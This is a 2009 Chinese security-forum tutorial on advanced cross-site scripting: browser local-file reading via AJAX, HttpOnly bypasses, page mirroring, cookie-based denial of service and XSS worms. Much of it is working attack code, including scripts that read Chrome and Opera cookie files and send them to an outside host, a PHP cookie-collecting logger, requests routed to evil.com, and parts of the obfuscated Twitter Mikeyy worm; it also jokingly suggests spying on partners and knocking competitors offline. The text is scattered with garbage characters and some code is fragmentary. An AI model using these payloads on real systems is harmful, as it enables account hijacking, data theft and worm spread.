XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
! f. Z+ G) {& u6 ?9 u本帖最后由 racle 于 2009-5-30 09:19 编辑
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$ Y" B5 w0 K9 t) N: E: F+ WXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页 \; ~ J1 f' ^
By racle@tian6.com ) N0 N$ S3 S' ^
http://bbs.tian6.com/thread-12711-1-1.html
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-------------------------------------------前言---------------------------------------------------------' r: ~' l* D O4 _# b) x: _
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文." Y+ x1 Q4 D) h# c8 i, G) [( O5 d6 D
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如果你还未具备基础XSS知识,以下几个文章建议拜读:
$ {/ d2 h/ S# F& O. g1 Thttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介9 y+ U; X" d% \% M5 o
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全0 k3 x/ \2 j9 R2 ^( P ~! V5 X
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
6 I* E, O8 J, w0 z# t4 h; Ehttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF* H- M3 |7 }. O% B
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
: h4 Y" c, u8 s+ l: r/ Ahttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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: M0 g! [% L- R" T8 Y如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.# q1 S; J- o# l8 s% w: K4 R; S Q
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,$ D9 _+ K; ?0 Y, @+ F
' B5 {0 ~* m p- O" b; pBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大) n- E# Q7 [$ {8 v# B
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QQ ZONE,校内网XSS 感染过万QQ ZONE./ f# }( ]8 r5 h
) X" \6 K( [% N! U4 `8 _# G tOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪: q$ }1 |* w9 Q# \& v3 ]
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复制代码------------------------------------------介绍-------------------------------------------------------------7 Y2 k$ g% J/ y. \& {- N* r5 {
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.# A% t0 a t0 @2 u, a8 k
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/ A2 s2 ?: Z# w跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.- I& O- H p0 Z$ o
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
- ^! t% ?2 D* s2 _复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.0 g1 V: v% S: i5 X4 R
我们在这里重点探讨以下几个问题:8 N% F2 g8 }4 w, J/ \7 U! R8 `
, h, e% n5 z& R7 f1 v/ v1 通过XSS,我们能实现什么?, J! O4 g% ]* n* H8 U" W
3 |; b/ h4 G% `, O$ t2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?0 s3 M( }& h2 u9 X6 K) ?; t
, {8 q3 o1 p: s7 ~6 Y8 m3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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! B |0 I6 u" L# o4 XSS漏洞在输出和输入两个方面怎么才能避免.
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------------------------------------------研究正题----------------------------------------------------------
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
- o: p5 h* |! [+ M3 b复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
) D( R! u- t9 E2 ]复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
\! D- m. e/ A) z1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
& s+ E: m) t7 ?9 q9 i/ s2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.# e4 z8 G2 s4 y+ d
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4 P! I* J( I8 U+ B+ `1 W4:Http-only可以采用作为COOKIES保护方式之一.
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(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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% v$ a( [4 _# b0 B我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
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# C4 g- Y9 l1 E. n4 J; E 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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6 W6 A$ `$ B. l+ I, h/ O5 L, ^ 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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- w% u0 t2 @, U2 k6 m, d7 } 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
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function $(x){return document.getElementById(x)}
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function ajax_obj(){
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if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',) A) e" k, G+ x1 n2 j3 P
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {
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} catch(e) {}
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}
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return request;+ I. U: q) @# s* ^% {
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var _x = ajax_obj();" n* Y. \/ n1 s# H6 e1 ?1 b0 p2 C
' I' Y) T: A+ B$ y function _7or3(_m,action,argv){
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_x.open(_m,action,false);
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_x.send(argv);$ ~. V3 R# B" E4 \
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var txt=_7or3("GET","file://localhost/C:/11.txt",null);
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alert(txt);( J- m& c+ O2 `" ?; a
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- C( g5 g9 ?2 a </script>
9 i& r# T- K) a复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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function ajax_obj(){8 ?6 v' n( [* P8 H- @* _% t+ h: ^1 Y
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var request = false;
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if(window.XMLHttpRequest) {* X6 d. X- I; {
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request = new XMLHttpRequest();6 z0 c* G; |/ {7 S+ y2 M4 q0 }
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',% |5 _% g" h1 [! t5 ]' ^2 m
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- Q/ w' S% V- F3 s7 B8 L 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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4 m, I: _/ D& z' J% b. T for(var i=0; i<versions.length; i++) {$ I/ U" w7 L/ V& W; x& |
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request = new ActiveXObject(versions);5 v* D% g" q" Y, Q, e n
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return request;
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} j9 K; v8 t! J7 s* r6 a/ X
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2 r& W: l" p7 }# s- S function _7or3(_m,action,argv){
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_x.open(_m,action,false);# M& C- j- x' l, I
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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+ F z4 r/ A1 o: K+ M5 T1 b9 M _x.send(argv);
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( W: j2 b- d8 l, }3 c7 K* S return _x.responseText;
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}
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alert(txt);& L& f6 H& q1 z
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</script>
* j7 w, t, ^" e% Z7 z& m复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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" c4 O% E9 S0 W" iChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"' x. Y$ ]% M/ ~3 b1 D/ J
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<? + V3 d6 g' |( l+ s. y$ ^, G3 t
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Chrome 1.0.154.53 use ajax read local txt file and upload exp : H" N' ]3 N! h/ E
( L* L1 y/ O0 u www.inbreak.net
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author voidloafer@gmail.com 2009-4-22
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. 4 B' f9 ?& j3 `3 E m
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7 T/ w& D* H. F Hheader("Content-Disposition: attachment;filename=kxlzx.htm");
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! w! x5 B0 H# _9 c/ Oheader("Content-type: application/kxlzx"); + N- r! j: P" m8 s. ~# n! E' w
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% X8 ?' p/ Y- j! c5 n2 c5 y7 T9 _$ P set header, so just download html file,and open it at local. 1 e: n4 y3 u! \
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! ~. f3 l. K0 ^: |; J<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> # ~4 }8 R/ S- j& X4 ^/ f
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<input id="input" name="cookie" value="" type="hidden">
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0 c) u0 L# w8 S" N; E5 b</form>
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$ z0 P$ P/ d& R<script> ( G# V- q+ H2 I4 T& m, S
; E4 l% Z+ V! c# R5 Z& r6 c$ `3 Ifunction doMyAjax(user) / |6 \) f+ O9 o8 o/ u/ Z+ u
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{
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( G% ~: K& c; Y& d7 Gvar time = Math.random();
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/*
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5 |( f5 j4 X9 _% `% ]/ G3 Bthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default # _1 b4 P; W- Z" [* @1 w7 ]: |
: U h- I2 J" Eand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History / K3 K3 t9 x+ p# C2 h, ]
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and so on... 7 w5 D( ^! p4 z% u) A
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*/
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var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; - m; Y% m. _3 j* o2 y4 Z& G
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startRequest(strPer); ! D3 c4 ]; J4 {( y
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function Enshellcode(txt)
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$ e4 |- L0 S& }7 svar url=new String(txt);
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+ J+ z7 [6 d8 qvar i=0,l=0,k=0,curl=""; 0 u# ~) y( c- h* X
. Q# L" M* B, h# H/ N1 Jl= url.length;
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for(;i<l;i++){
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k=url.charCodeAt(i);
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/ K- {+ x& e% }( ]' i) g1 l) s5 f& [if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} ) u: T( ]" F. q% ~) ^; a Z
- Z. c3 t; G$ u& wif (l%2){curl+="00";}else{curl+="0000";} $ k+ T! [7 ?9 ?( ~. A- ]
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curl=curl.replace(/(..)(..)/g,"%u$2$1");
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return curl;
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9 H0 J3 t5 f( Z* \) m# P0 B c Zvar xmlHttp; * o# c# G1 j& x5 q& y" o5 c
6 E6 I$ g t3 m# Y2 E: Y0 h* Dfunction createXMLHttp(){ ! `- {9 k( E2 L, p. U, h7 [; q
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if(window.XMLHttpRequest){
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1 e' r5 \- }; i5 H4 L0 c: ~$ H. gxmlHttp = new XMLHttpRequest();
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: P7 }$ k& j: H7 I. b7 G+ y9 | else if(window.ActiveXObject){
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); / o- `, @ r. h9 H1 x) H; l+ ]
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}
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function startRequest(doUrl){
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createXMLHttp(); $ a! O9 W9 K; n9 [& Y3 H
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9 ]% D1 B0 x* i s5 K xmlHttp.onreadystatechange = handleStateChange; , k6 E6 c5 J& d/ G7 `: ?/ D8 ?) a
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xmlHttp.open("GET", doUrl, true); . W# X% v$ e+ n: S/ I2 i
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* K2 J7 H9 a6 }: t xmlHttp.send(null);
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7 h4 E; n8 ~- w: v- }- P
; g: r b( `% y! {function handleStateChange(){ * Q' S+ I% z2 N$ L
Q( D8 W2 r; Z, {" i! a if (xmlHttp.readyState == 4 ){
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3 y- j2 V7 D. E var strResponse = "";
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/ k1 O% U" v- _% P+ ?! s: }" {7 c setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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}
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& Q' x0 f5 U* rfunction framekxlzxPost(text) " R. H) p: T5 r& N ^
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document.getElementById("input").value = Enshellcode(text);
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document.getElementById("form").submit();
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doMyAjax("administrator"); - W: m) t% R5 k0 }# e+ J# J" `
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</script>
' p6 j# ^7 L0 I) Y. W2 r, r复制代码opera 9.52使用ajax读取本地COOKIES文件<script> ' g3 U: T. J- g5 a
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var xmlHttp; ( `+ r( m8 ]0 u8 M! _5 Y
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function createXMLHttp(){ + k- U7 R2 a5 c: L
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if(window.XMLHttpRequest){ ; P1 i& `$ `0 C: s
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xmlHttp = new XMLHttpRequest();
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else if(window.ActiveXObject){
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' s1 q; l$ S; y& v9 y+ e' U xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); * I: Y1 c& K7 l7 C
; c$ z \2 O! b7 h2 e+ A }
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function startRequest(doUrl){ " [8 L; B7 C2 X& W
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createXMLHttp(); & D' t. e9 p( {# k" e, ]
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2 k1 ~ a3 t# ? xmlHttp.onreadystatechange = handleStateChange; ) _8 @4 @( v3 z, s6 w Z3 ~
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xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null); / y* ^+ `# r' P* p3 [6 j# X
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}
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v# i# T# v& W0 f5 o* s) vfunction handleStateChange(){
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if (xmlHttp.readyState == 4 ){
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8 E( Y2 i, v# q var strResponse = "";
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" v8 m5 D. T; \" j9 b setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); / ]8 A7 M0 p# Q9 _4 |0 t
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* Z' a" t* `- e9 Y; O2 Kfunction doMyAjax(user,file)
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: j4 _! L. ]# P& m) D* U C var time = Math.random(); 6 F/ x3 a$ |' @. c+ b$ Y4 L
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var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; 4 B) {7 F' r! b0 D# ]
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startRequest(strPer);
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7 [* z% ^$ r- J+ x/ f9 ~5 zfunction framekxlzxPost(text)
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document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
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alert(/ok/);
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}
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doMyAjax('administrator','administrator@alibaba[1].txt');
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</script>
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+ G* z# H- ?) Ha.php0 C! \$ n- N, A) p# v0 S% G; H
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# g4 h6 [: Y! P. R u, v2 n<?php
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$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; * b5 E, e7 v: e/ b( n: S' m
! R& `' o9 Q! S6 w* U5 v' T$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
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$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); 6 x* h; S9 g' G6 K( I% \! x
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fwrite($fp,$_GET["cookie"]);
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, I8 |4 w. r0 K* ^2 m+ @' ffclose($fp); 9 F M5 o2 m7 r6 w. F
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?> - W: c( K$ z- I0 J! x7 {% k$ V
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:% z0 j; C8 O' J; k7 f& K
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.4 B1 b7 o+ p6 y) z0 r( f3 C
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
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6 X" R A* [4 i Y代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);" e1 d3 j1 N% |9 c- u0 E
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//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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% B$ x- T; s; n6 v//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);; \ S: X$ z* a( ~. T
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function getURL(s) {, t. J4 P9 u; c5 b& |
9 U/ ^6 i- p" B0 ]4 o% Mvar image = new Image();
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3 V; M1 J& y: }$ Bimage.style.width = 0;
[- r8 U2 n) V/ a: q9 u0 v5 E- o: J0 [8 s( ?" c$ Y7 M+ {
image.style.height = 0;2 z! H% S6 b! a1 F# C3 S
: f% j: R; E: C+ r9 a* Qimage.src = s;
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8 d1 m3 |2 J4 Z6 ?8 bgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);) y: `- n8 x" [1 _' Y
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.% f0 Y$ L0 `6 d$ o6 T- B
这里引用大风的一段简单代码:<script language="javascript">" S. H" E1 H4 T4 @ ]8 N7 m
5 r$ G- Y- B5 k2 Fvar metastr = "AAAAAAAAAA"; // 10 A9 L5 D& c- t! U9 J
* G3 v0 m0 W+ N1 Fvar str = "";' i! F, W4 M! T' b# u- H
# \2 f9 f# T( G% \. N3 c2 Xwhile (str.length < 4000){
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: n! T) ?) @' Z8 J str += metastr;
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}
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document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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3 k6 Y& @+ `% D( i4 a; F</script>
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0 T1 \, s. R, Y5 m. N2 Y详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
6 O, R) g* |7 E8 ^复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
% U* d! i# q% q3 d4 y! nserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150% r6 r* B" R# F$ r7 U' D, J r
& U% Z& g9 y; x z' h4 z假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
* w& D9 B' D& b攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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(III) Http only bypass 与 补救对策:5 F" n; a( X5 c
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什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
! b3 |/ r+ N- m9 {. N以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
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<!--! i- i% p! B$ `" s; b) K! X1 b- `. ?
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function normalCookie() {
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document.cookie = "TheCookieName=CookieValue_httpOnly"; + z/ a" Z# U. Q! Z; F$ _8 j; k
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alert(document.cookie);
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function httpOnlyCookie() {
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document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; + L8 ]. U; w! N% o8 J
* ]: P" } u# V M7 h# ^alert(document.cookie);}. w, R8 a( }8 ~$ t1 I
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//-->7 N9 }. Q' u. c% F S" \
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</script>
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% @6 B, N2 B: I. ~ h$ I<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>) V1 w0 m( B/ a( i
6 D3 \% M/ a9 S0 P<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
( F* j# z/ r# [. {* C b复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
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, D2 K9 ^. d" w( t7 Nvar request = false;: S: s) `' @: p" U
9 k5 ]8 g5 p0 l% H if(window.XMLHttpRequest) {
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7 Q/ O6 K. Z$ b7 | ^& Z request = new XMLHttpRequest();
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if(request.overrideMimeType) {
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7 m5 x2 R$ D( N5 F: k, w; M' J request.overrideMimeType('text/xml');
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1 d! g, g7 Q) X } else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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0 b; q: @: M7 i: v- ?1 p9 E" Y" q for(var i=0; i<versions.length; i++) {
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% d9 k" F* ~2 {( i ` try {4 d, E, M# e$ p' j" j
6 U% J$ ~$ w/ b% b# U) M. o request = new ActiveXObject(versions);
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} catch(e) {}
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& p' c- o# j+ q1 ~xmlHttp=request;, Y5 }% A; d6 X* w; a
: q& U0 ^& ]' I9 `+ N* FxmlHttp.open("TRACE","http://www.vul.com",false);. t9 R1 A1 u6 N J
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xmlHttp.send(null);
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xmlDoc=xmlHttp.responseText;
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alert(xmlDoc);
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</script>
5 b6 U1 B0 y. S# \& N复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);
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/ P) u0 m) K# r. _$ `2 {XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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2 w6 T, Y/ K5 d& |+ vXmlHttp.send(null);( u7 O6 a+ k) a- p9 \) B4 [) n5 w/ `
( W( j7 [( h7 X3 M; Z, m. mvar resource=xmlHttp.responseText' m" Q6 ?( O) d( J
" R7 R8 `, _6 H3 l- O1 O4 E& h9 dresource.search(/cookies/);& q" h7 g$ w* Y( A( E1 k9 M
; f# O( j! q- b5 M. {" n
......................( C9 t$ Z s) Q
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</script>
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1 l, ~1 Q2 u7 g- V: N2 }% G" g" X8 r- i% H
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求, p/ V/ p W) E: y
# a) ~/ f& j# A4 c
[code]: b! }; p1 I8 N# i. O" ^
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RewriteEngine On
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& r: D- C" ]* }3 Z7 dRewriteCond %{REQUEST_METHOD} ^TRACE% z7 d; O! Z/ p
% P: Z9 @+ U$ d- ?0 p; u+ V
RewriteRule .* - [F]0 l, S# u( V; N
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: i d2 k& S# E+ V! l; P, r7 B
% [" p# u; g/ z6 QSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
" B8 L. H* N) F# z1 @* i) j! T: ?( h9 j- P
acl TRACE method TRACE
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! I7 ^5 v5 \+ D' x...8 ]4 P" c6 q1 a* {" [
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http_access deny TRACE
6 h X. n$ ?2 D5 R复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>0 M% v) w6 Q. b
/ j. H( t+ X: ovar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");9 m) @ D3 a% b1 m
/ k8 ~! P' Y8 {. N0 X2 x
XmlHttp.open("GET","http://www.google.com",false);
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6 P2 e8 L1 A8 yXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");: u% P$ @- n" F* H, Y: q* \( ^* h
/ U4 t! }* \& ~! F$ I7 oXmlHttp.send(null);
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</script>3 I1 Q+ L# B% v" n Y4 l
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");8 ?+ T# h6 H0 b8 b
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, \1 V8 q5 b; \8 L3 D2 NXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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. }6 W; V# H2 _. p' PXmlHttp.send(null);9 v4 y& j, {7 `3 d9 |8 w. K5 u
% c. _1 a4 x4 |4 x) k8 B* n- k) x<script>
5 u% ]2 ~/ y. ?8 D W: O复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
; c9 a5 F- r v复制代码案例:Twitter 蠕蟲五度發威, }2 C" |2 j7 T; R5 L8 O
第一版:2 t) W3 ]2 U9 e: f7 A6 |$ g. m
下载 (5.1 KB)* K$ p; J0 S1 ?. _7 |
6 U* }6 r/ T! q5 ]& z6 天前 08:277 \0 u$ b* o2 [$ O) a
9 i0 K8 r3 i- f8 H! B第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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; n8 L1 m4 F1 v/ W$ L$ C% _! g, r: ?. F$ O- U) R2 ]9 R
3. function XHConn(){
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4. var _0x6687x2,_0x6687x3=false;
# R# h2 Q1 ^% ?. s
9 P9 D' b# d& D3 G+ L 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
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' I- \' R8 }8 U. `; Q 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
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9 z( Z: B7 {0 m4 Y3 W* _2 { 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
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8. catch(e) { _0x6687x2=false; }; }; };
0 H* I! F0 J# R9 z) |$ g复制代码第六版: 1. function wait() {
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2. var content = document.documentElement.innerHTML;
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3. var tmp_cookie=document.cookie;
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4. var tmp_posted=tmp_cookie.match(/posted/); 8 ~ q( a9 T6 }4 m, y
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); % i2 w" B7 V# f0 Y/ H
[& \" a' z! j% t5 \- x+ S 6. var authtoken=authreg.exec(content);
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( F) ]; q- Q: v: B! }% y; u* t8 w$ V 7. var authtoken=authtoken[1]; 8 d- h. c% |: J ^5 M% G8 C
( i; `3 ]+ ^: V% D% }/ l8 z 8. var randomUpdate= new Array();
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0 A; p* b$ W6 }$ u3 } 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
/ W( D: S4 a6 D
4 } W; F- B; W 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; & [- z. l& V! T" l# x
0 {# Z: y' k% x 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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- j! m2 o# h' B( B 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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" d2 l1 }% ~* i' ? 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; + ^ S+ {+ `9 l: x% C5 l
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; " `, T- B- y3 z% n* b; F
# T0 m9 Z8 \" n6 K7 |% ^ 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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5 n- y7 P8 D# F/ Y 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
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; r4 T7 k. @- |# Y/ ^ 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; ( k1 S) D2 [. U0 n( d) w3 z. b
